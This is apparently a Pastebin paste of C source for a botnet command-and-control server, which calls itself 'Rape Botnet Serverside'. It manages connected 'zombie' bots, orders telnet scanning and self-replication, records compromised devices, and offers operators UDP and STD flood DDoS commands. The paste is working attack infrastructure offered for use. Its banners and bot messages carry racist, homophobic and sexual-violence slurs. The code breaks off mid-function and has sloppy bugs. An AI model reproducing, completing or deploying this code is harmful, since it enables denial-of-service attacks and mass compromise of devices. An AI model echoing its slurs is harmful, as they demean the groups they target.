AvengeVPS

Rape Botnet Serverside

Mar 1st, 2018
329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.28 KB | None | 0 0
  1. MADE BY HUBNR
  2. IF YOU USE THIS SHOW ME SOME CREDS
  3. @hubnr
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <sys/epoll.h>
  17. #include <errno.h>
  18. #include <pthread.h>
  19. #include <signal.h>
  20.  
  21. #define MAXFDS 1000000
  22.  
  23. struct account {
  24. char id[20];
  25. char password[20];
  26. };
  27. static struct account accounts[50]; //max users is set on 50 you can edit that to whatever
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char build[7];
  31. char connected;
  32. } clients[MAXFDS];
  33. struct telnetdata_t {
  34. int connected;
  35. } managements[MAXFDS];
  36. ////////////////////////////////////
  37. static volatile FILE *telFD;
  38. static volatile FILE *fileFD;
  39. static volatile int epollFD = 0;
  40. static volatile int listenFD = 0;
  41. static volatile int managesConnected = 0;
  42. static volatile int TELFound = 0;
  43. static volatile int scannerreport;
  44. ////////////////////////////////////
  45. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  46. {
  47. int total = 0, got = 1;
  48. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  49. return got;
  50. }
  51. void trim(char *str)
  52. {
  53. int i;
  54. int begin = 0;
  55. int end = strlen(str) - 1;
  56. while (isspace(str[begin])) begin++;
  57. while ((end >= begin) && isspace(str[end])) end--;
  58. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  59. str[i - begin] = '\0';
  60. }
  61. static int make_socket_non_blocking (int sfd)
  62. {
  63. int flags, s;
  64. flags = fcntl (sfd, F_GETFL, 0);
  65. if (flags == -1)
  66. {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. flags |= O_NONBLOCK;
  71. s = fcntl (sfd, F_SETFL, flags);
  72. if (s == -1)
  73. {
  74. perror ("fcntl");
  75. return -1;
  76. }
  77. return 0;
  78. }
  79. static int create_and_bind (char *port)
  80. {
  81. struct addrinfo hints;
  82. struct addrinfo *result, *rp;
  83. int s, sfd;
  84. memset (&hints, 0, sizeof (struct addrinfo));
  85. hints.ai_family = AF_UNSPEC;
  86. hints.ai_socktype = SOCK_STREAM;
  87. hints.ai_flags = AI_PASSIVE;
  88. s = getaddrinfo (NULL, port, &hints, &result);
  89. if (s != 0)
  90. {
  91. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  92. return -1;
  93. }
  94. for (rp = result; rp != NULL; rp = rp->ai_next)
  95. {
  96. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  97. if (sfd == -1) continue;
  98. int yes = 1;
  99. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  100. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  101. if (s == 0)
  102. {
  103. break;
  104. }
  105. close (sfd);
  106. }
  107. if (rp == NULL)
  108. {
  109. fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
  110. return -1;
  111. }
  112. freeaddrinfo (result);
  113. return sfd;
  114. }
  115. void broadcast(char *msg, int us, char *sender)
  116. {
  117. int sendMGM = 1;
  118. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  119. char *wot = malloc(strlen(msg) + 10);
  120. memset(wot, 0, strlen(msg) + 10);
  121. strcpy(wot, msg);
  122. trim(wot);
  123. time_t rawtime;
  124. struct tm * timeinfo;
  125. time(&rawtime);
  126. timeinfo = localtime(&rawtime);
  127. char *timestamp = asctime(timeinfo);
  128. trim(timestamp);
  129. int i;
  130. for(i = 0; i < MAXFDS; i++)
  131. {
  132. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  133. if(sendMGM && managements[i].connected)
  134. {
  135. send(i, "\x1b[1;34m", 5, MSG_NOSIGNAL);
  136. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  137. send(i, ": ", 2, MSG_NOSIGNAL);
  138. }
  139. //printf("sent to fd: %d\n", i);
  140. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  141. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;34m~> \x1b[1;34m", 13, MSG_NOSIGNAL);
  142. else send(i, "\n", 1, MSG_NOSIGNAL);
  143. }
  144. free(wot);
  145. }
  146. void *epollEventLoop(void *useless)
  147. {
  148. struct epoll_event event;
  149. struct epoll_event *events;
  150. int s;
  151. events = calloc (MAXFDS, sizeof event);
  152. while (1)
  153. {
  154. int n, i;
  155. n = epoll_wait (epollFD, events, MAXFDS, -1);
  156. for (i = 0; i < n; i++)
  157. {
  158. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  159. {
  160. clients[events[i].data.fd].connected = 0;
  161. close(events[i].data.fd);
  162. continue;
  163. }
  164. else if (listenFD == events[i].data.fd)
  165. {
  166. while (1)
  167. {
  168. struct sockaddr in_addr;
  169. socklen_t in_len;
  170. int infd, ipIndex;
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1)
  174. {
  175. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176. else
  177. {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  183. int dup = 0;
  184. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  185. {
  186. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  187. //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
  188. if(clients[ipIndex].ip == clients[infd].ip)
  189. {
  190. dup = 1;
  191. break;
  192. }
  193. }
  194.  
  195. if(dup)
  196. { //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
  197. if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  198. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  199. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  200. if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  201. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  202. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  203. close(infd);
  204. continue;
  205. }
  206.  
  207. s = make_socket_non_blocking (infd);
  208. if (s == -1) { close(infd); break; }
  209.  
  210. event.data.fd = infd;
  211. event.events = EPOLLIN | EPOLLET;
  212. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  213. if (s == -1)
  214. {
  215. perror ("epoll_ctl");
  216. close(infd);
  217. break;
  218. }
  219.  
  220. clients[infd].connected = 1;
  221. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  222. send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
  223.  
  224. }
  225. continue;
  226. }
  227. else
  228. {
  229. int thefd = events[i].data.fd;
  230. struct clientdata_t *client = &(clients[thefd]);
  231. int done = 0;
  232. client->connected = 1;
  233. while (1)
  234. {
  235. ssize_t count;
  236. char buf[2048];
  237. memset(buf, 0, sizeof buf);
  238.  
  239. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  240. {
  241. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  242. trim(buf);
  243. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  244. {
  245. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  246. continue;
  247. }
  248. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  249. {
  250. char *line = strstr(buf, "REPORT ") + 7;
  251. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  252. fflush(telFD);
  253. TELFound++;
  254. continue;
  255. }
  256. if(strstr(buf, "PROBING") == buf)
  257. {
  258. char *line = strstr(buf, "PROBING");
  259. scannerreport = 1;
  260. continue;
  261. }
  262. if(strstr(buf, "REMOVING PROBE") == buf)
  263. {
  264. char *line = strstr(buf, "REMOVING PROBE");
  265. scannerreport = 0;
  266. continue;
  267. }
  268. if(strcmp(buf, "PONG") == 0)
  269. {
  270. continue;
  271. }
  272.  
  273. printf("buf: \"%s\"\n", buf);
  274. }
  275.  
  276. if (count == -1)
  277. {
  278. if (errno != EAGAIN)
  279. {
  280. done = 1;
  281. }
  282. break;
  283. }
  284. else if (count == 0)
  285. {
  286. done = 1;
  287. break;
  288. }
  289. }
  290.  
  291. if (done)
  292. {
  293. client->connected = 0;
  294. close(thefd);
  295. }
  296. }
  297. }
  298. }
  299. }
  300. unsigned int clientsConnected()
  301. {
  302. int i = 0, total = 0;
  303. for(i = 0; i < MAXFDS; i++)
  304. {
  305. if(!clients[i].connected) continue;
  306. total++;
  307. }
  308.  
  309. return total;
  310. }
  311. void *titleWriter(void *sock)
  312. {
  313. int thefd = (int)sock;
  314. char string[2048];
  315. while(1)
  316. {
  317. memset(string, 0, 2048);
  318. sprintf(string, "%c]0; [+] Zombies: %d [-] Aliens: %d[+]%c", '\033', clientsConnected(), managesConnected, '\007');
  319. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  320.  
  321. sleep(3);
  322. }
  323. }
  324. int Search_in_File(char *str)
  325. {
  326. FILE *fp;
  327. int line_num = 0;
  328. int find_result = 0, find_line=0;
  329. char temp[512];
  330.  
  331. if((fp = fopen("doom.txt", "r")) == NULL){
  332. return(-1);
  333. }
  334. while(fgets(temp, 512, fp) != NULL){
  335. if((strstr(temp, str)) != NULL){
  336. find_result++;
  337. find_line = line_num;
  338. }
  339. line_num++;
  340. }
  341. if(fp)
  342. fclose(fp);
  343.  
  344. if(find_result == 0)return 0;
  345.  
  346. return find_line;
  347. }
  348.  
  349. void *telnetWorker(void *sock)
  350. {
  351. char usernamez[80];
  352. int thefd = (int)sock;
  353. int find_line;
  354. managesConnected++;
  355. pthread_t title;
  356. char counter[2048];
  357. memset(counter, 0, 2048);
  358. char buf[2048];
  359. char* nickstring;
  360. char* username;
  361. char* password;
  362. memset(buf, 0, sizeof buf);
  363. char botnet[2048];
  364. memset(botnet, 0, 2048);
  365.  
  366. FILE *fp;
  367. int i=0;
  368. int c;
  369. fp=fopen("doom.txt", "r");
  370. while(!feof(fp))
  371. {
  372. c=fgetc(fp);
  373. ++i;
  374. }
  375. int j=0;
  376. rewind(fp);
  377. while(j!=i-1)
  378. {
  379. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  380. ++j;
  381. }
  382.  
  383. if(send(thefd, "\x1b[1;34mAlias: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  384. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  385. trim(buf);
  386. sprintf(usernamez, buf);
  387. nickstring = ("%s", buf);
  388. find_line = Search_in_File(nickstring);
  389. if(strcmp(nickstring, accounts[find_line].id) == 0){
  390. if(send(thefd, "\x1b[1;34m* LOADING HAX *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  391. if(send(thefd, "\x1b[1;34mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  392. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  393. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  394. trim(buf);
  395. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  396. memset(buf, 0, 2048);
  397. goto fak;
  398. }
  399. failed:
  400. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, "\x1b[1;34m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  402. if(send(thefd, "\x1b[1;34m* IP LOGGED NIG NOG HAVE A JEWISH DAY *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  403. if(send(thefd, "\x1b[1;34m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  404. sleep(5);
  405. goto end;
  406. fak:
  407.  
  408. Title:
  409. pthread_create(&title, NULL, &titleWriter, sock);
  410. char ascii_banner_line1 [5000];
  411. char ascii_banner_line2 [5000];
  412. char ascii_banner_line3 [5000];
  413. char ascii_banner_line4 [5000];
  414. char ascii_banner_line5 [5000];
  415. char ascii_banner_line6 [5000];
  416. char ascii_banner_line7 [5000];
  417. char line1 [80];
  418.  
  419. sprintf(ascii_banner_line1, "\x1b[1;34m ██████╗ █████╗ ██████╗ ███████\r\n");
  420. sprintf(ascii_banner_line2, "\x1b[1;37m ██╔══██╗██╔══██╗██╔══██╗██╔════╝\r\n");
  421. sprintf(ascii_banner_line3, "\x1b[1;34m ██████╔╝███████║██████╔╝█████╗ \r\n");
  422. sprintf(ascii_banner_line4, "\x1b[1;37m ██╔══██╗██╔══██║██╔═══╝ ██╔══╝ \r\n");
  423. sprintf(ascii_banner_line5, "\x1b[1;34m ██║ ██║██║ ██║██║ ███████╗ \r\n");
  424. sprintf(ascii_banner_line6, "\x1b[1;37m ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝\r\n");
  425. sprintf(ascii_banner_line7, "\x1b\r\n");
  426. sprintf(line1, "\x1b[1;34m [+]-\x1b[1;34mWelcome %s To The Rape Net\x1b[0;1;34m-[+]\r\n", accounts[find_line].id, buf);
  427.  
  428. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  436. while(1) {
  437. if(send(thefd, "\x1b[1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  438. break;
  439. }
  440. pthread_create(&title, NULL, &titleWriter, sock);
  441. managements[thefd].connected = 1;
  442.  
  443. while(fdgets(buf, sizeof buf, thefd) > 0)
  444. {
  445. if(strstr(buf, "STATUS"))
  446. {
  447. sprintf(botnet, "[+] Telnet devices: %d [-] Telnet status: %d [+]\r\n", TELFound, scannerreport);
  448. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  449. }
  450.  
  451. if(strstr(buf, "BOTS"))
  452. {
  453. sprintf(botnet, "[+] Zombies: %d [-] Admins: %d [+]\r\n", clientsConnected(), managesConnected);
  454. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  455. }
  456.  
  457. if(strstr(buf, "ABOUT"))
  458. {
  459. sprintf(botnet, "DOOM SERVERSIDE. CREDIT TO POODLE AND RTO ~ THIS SHIT PRIVATE MY NIG\r\n");
  460. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  461. }
  462.  
  463. if(strstr(buf, "bots"))
  464. {
  465. sprintf(botnet, "[+] Zombies: %d [-] Admins: %d [+]\r\n", clientsConnected(), managesConnected);
  466. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  467. }
  468. if(strstr(buf, "!* SCANNER OFF"))
  469. {
  470. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  471. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  472. }
  473. if(strstr(buf, "!* TCP"))
  474. {
  475. sprintf(botnet, "Succesfully Sent A TCP FLOOD\r\n");
  476. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  477. }
  478. if(strstr(buf, "!* UDP"))
  479. {
  480. sprintf(botnet, "Succesfully Sent A UDP FLOOD\r\n");
  481. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  482. }
  483. if(strstr(buf, "!* STD"))
  484. {
  485. sprintf(botnet, "Succesfully Sent A STD FLOOD\r\n");
  486. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  487. }
  488. if(strstr(buf, "!* CNC"))
  489. {
  490. sprintf(botnet, "Succesfully Sent A CNC FLOOD\r\n");
  491. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  492. }
  493. if(strstr(buf, "!* HTTP"))
  494. {
  495. sprintf(botnet, "Succesfully Sent A HTTP FLOOD\r\n");
  496. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  497. }
  498. if(strstr(buf, "!* SCANNER ON"))
  499. {
  500. sprintf(botnet, "TELNET SCANNER STARTED\r\n");
  501. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  502. }
  503. if(strstr(buf, "HELP")) {
  504. pthread_create(&title, NULL, &titleWriter, sock);
  505. char helpline1 [80];
  506. char helpline2 [80];
  507. char helpline3 [80];
  508. char helpline4 [80];
  509. char helpline5 [80];
  510.  
  511. sprintf(helpline1, "\x1b[0;1;34mType An Option:\r\n");
  512. sprintf(helpline2, "\x1b[1;37m[\x1b[34mDDOS\x1b[1;37m] ~ DDOS Comands\r\n");
  513. sprintf(helpline3, "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
  514. sprintf(helpline5, "\x1b[1;37m[\x1b[1;34mSELF REP\x1b[1;34m] ~ Only use if Admin Permission\r\n");;
  515.  
  516. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  517. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  518. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  519. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  520. if(send(thefd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  521. pthread_create(&title, NULL, &titleWriter, sock);
  522. while(1) {
  523. if(send(thefd, "\x1b[1;34m~$ \x1b[1;34m", 12, MSG_NOSIGNAL) == -1) goto end;
  524. break;
  525. }
  526. continue;
  527. }
  528. if(strstr(buf, "DDOS")) {
  529. pthread_create(&title, NULL, &titleWriter, sock);
  530. char ddosline1 [80];
  531. char ddosline2 [80];
  532. char ddosline3 [80];
  533.  
  534. sprintf(ddosline1, "\x1b[1;34m\x1b[34m !* UDP [IP] [PORT] [TIME] 32 0 10 | UDP FLOOD\r\n");
  535. sprintf(ddosline2, "\x1b[1;34m\x1b[37m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  536. sprintf(ddosline3, "\x1b[1;34m\x1b[34m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  537.  
  538. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  541. pthread_create(&title, NULL, &titleWriter, sock);
  542. while(1) {
  543. if(send(thefd, "\x1b[1;34m~$ \x1b[1;34m", 12, MSG_NOSIGNAL) == -1) goto end;
  544. break;
  545. }
  546. continue;
  547. }
  548. if(strstr(buf, "SELF REP")) {
  549. pthread_create(&title, NULL, &titleWriter, sock);
  550. char repline1 [80];
  551. char repline2 [80];
  552. char repline3 [80];
  553. char repline4 [80];
  554.  
  555. sprintf(repline1, "\x1b[37m !* PHONE ON | TURNS ON PHONE SELFREPLIFICATION\r\n");
  556. sprintf(repline2, "\x1b[34m !* SCANNER ON | TURNS ON TELNET SELFREPLIFICATION\r\n");
  557. sprintf(repline3, "\x1b[37m !* wget.py | SCANS sithbots.txt PYTHON LIST\r\n");
  558. sprintf(repline4, "\x1b[34m !* PYTHON OFF | TURNS OFF PYTHON SCANNER\r\n");
  559.  
  560. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  561. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  562. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  563. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  564. pthread_create(&title, NULL, &titleWriter, sock);
  565. while(1) {
  566. if(send(thefd, "\x1b[1;34m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  567. break;
  568. }
  569. continue;
  570. }
  571. if(strstr(buf, "EXTRA")) {
  572. pthread_create(&title, NULL, &titleWriter, sock);
  573. char extraline1 [80];
  574. char extraline2 [80];
  575. char extraline3 [80];
  576.  
  577. sprintf(extraline1, "\x1b[34m PORTS | PORTS TO HIT WITH DUH\r\n");
  578. sprintf(extraline2, "\x1b[37m BOTS | BOT COUNT DUH\r\n");
  579. sprintf(extraline3, "\x1b[34m CLEAR | CLEARS SCREEN DUH\r\n");
  580.  
  581. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  583. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  584. pthread_create(&title, NULL, &titleWriter, sock);
  585. while(1) {
  586. if(send(thefd, "\x1b[1;34m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  587. break;
  588. }
  589. continue;
  590. }
  591. if(strstr(buf, "CLEAR")){
  592.  
  593. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  594. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  595. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  597. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  598. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  599. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  600. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  601.  
  602. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  603. managements[thefd].connected = 1;
  604. }
  605. if(strstr(buf, "clear")){
  606. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  607. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  608. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  609. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  610. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  611. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  612. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  613. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  614.  
  615. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  616. managements[thefd].connected = 1;
  617. }
  618. if(strstr(buf, "CLEAR_LOVE")){
  619.  
  620. char ascii_banner_line20 [5000];
  621. char ascii_banner_line21 [5000];
  622. char ascii_banner_line22 [5000];
  623. char ascii_banner_line23 [5000];
  624. char ascii_banner_line24 [5000];
  625. char ascii_banner_line25 [5000];
  626. char ascii_banner_line26 [5000];
  627. char love1 [80];
  628.  
  629. sprintf(ascii_banner_line20, "\x1b[1;34m ██▀███ ▄▄▄ ██▓███ ▓█████ \r\n");
  630. sprintf(ascii_banner_line21, "\x1b[1;34m ▓██ ▒ ██▒▒████▄ ▓██░ ██▒▓█ ▀ \r\n");
  631. sprintf(ascii_banner_line22, "\x1b[1;34m ▓██ ░▄█ ▒▒██ ▀█▄ ▓██░ ██▓▒▒███ \r\n");
  632. sprintf(ascii_banner_line23, "\x1b[1;34m ▒██▀▀█▄ ░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓█ ▄ \r\n");
  633. sprintf(ascii_banner_line24, "\x1b[1;34m ░██▓ ▒██▒ ▓█ ▓██▒▒██▒ ░ ░░▒████▒\r\n");
  634. sprintf(ascii_banner_line25, "\x1b[1;34m ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒▓▒░ ░ ░░░ ▒░ ░\r\n");
  635. sprintf(ascii_banner_line26, "\x1b[1;34m\r\n");
  636. sprintf(love1, "\x1b[1;34m [(.)(.)]~\x1b[1;34mWelcome %s To The GangBang\x1b[1;34m~[(.)(.)]\r\n", accounts[find_line].id, buf);
  637.  
  638. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  639. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  640. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  641. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  642. if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
  643. if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  644. if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  645. if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
  646. if(send(thefd, love1, strlen(love1), MSG_NOSIGNAL) == -1) goto end;
  647. while(1) {
  648. if(send(thefd, "\x1b[0;1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  649. break;
  650. }
  651. pthread_create(&title, NULL, &titleWriter, sock);
  652. managements[thefd].connected = 1;
  653. continue;
  654. }
  655. if(strstr(buf, "CLEAR_ARES")){
  656.  
  657. char ascii_banner_line10 [5000];
  658. char ascii_banner_line11 [5000];
  659. char ascii_banner_line12 [5000];
  660. char ascii_banner_line13 [5000];
  661. char ascii_banner_line14 [5000];
  662. char ascii_banner_line15 [5000];
  663. char ascii_banner_line16 [5000];
  664. char ares1 [80];
  665.  
  666. sprintf(ascii_banner_line10, "\x1b[0;1;34m ::::::::: ::: ::::::::: :::::::::: \r\n");
  667. sprintf(ascii_banner_line11, "\x1b[1;37m :+: :+: :+: :+: :+: :+: :+:\r\n");
  668. sprintf(ascii_banner_line12, "\x1b[0;1;34m +:+ +:+ +:+ +:+ +:+ +:+ +:+\r\n");
  669. sprintf(ascii_banner_line13, "\x1b[1;37m +#+ +#+ +#+ +#+ +#+ +#+ \r\n");
  670. sprintf(ascii_banner_line14, "\x1b[0;1;34m #+# #+# #+# #+# #+# #+# \r\n");
  671. sprintf(ascii_banner_line15, "\x1b[1;37m ### ### ### ### ### ##########\r\n");
  672. sprintf(ascii_banner_line16, "\x1b[34m\r\n");
  673. sprintf(ares1, "\x1b[1;37m [+]-\x1b[1;37mWelcome %s To Your \x1b[0;1;34mRape Net\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf);
  674.  
  675. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  676. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  677. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  678. if(send(thefd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  679. if(send(thefd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  680. if(send(thefd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  681. if(send(thefd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
  682. if(send(thefd, ascii_banner_line16, strlen(ascii_banner_line16), MSG_NOSIGNAL) == -1) goto end;
  683. if(send(thefd, ares1, strlen(ares1), MSG_NOSIGNAL) == -1) goto end;
  684. while(1) {
  685. if(send(thefd, "\x1b[0;1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  686. break;
  687. }
  688. pthread_create(&title, NULL, &titleWriter, sock);
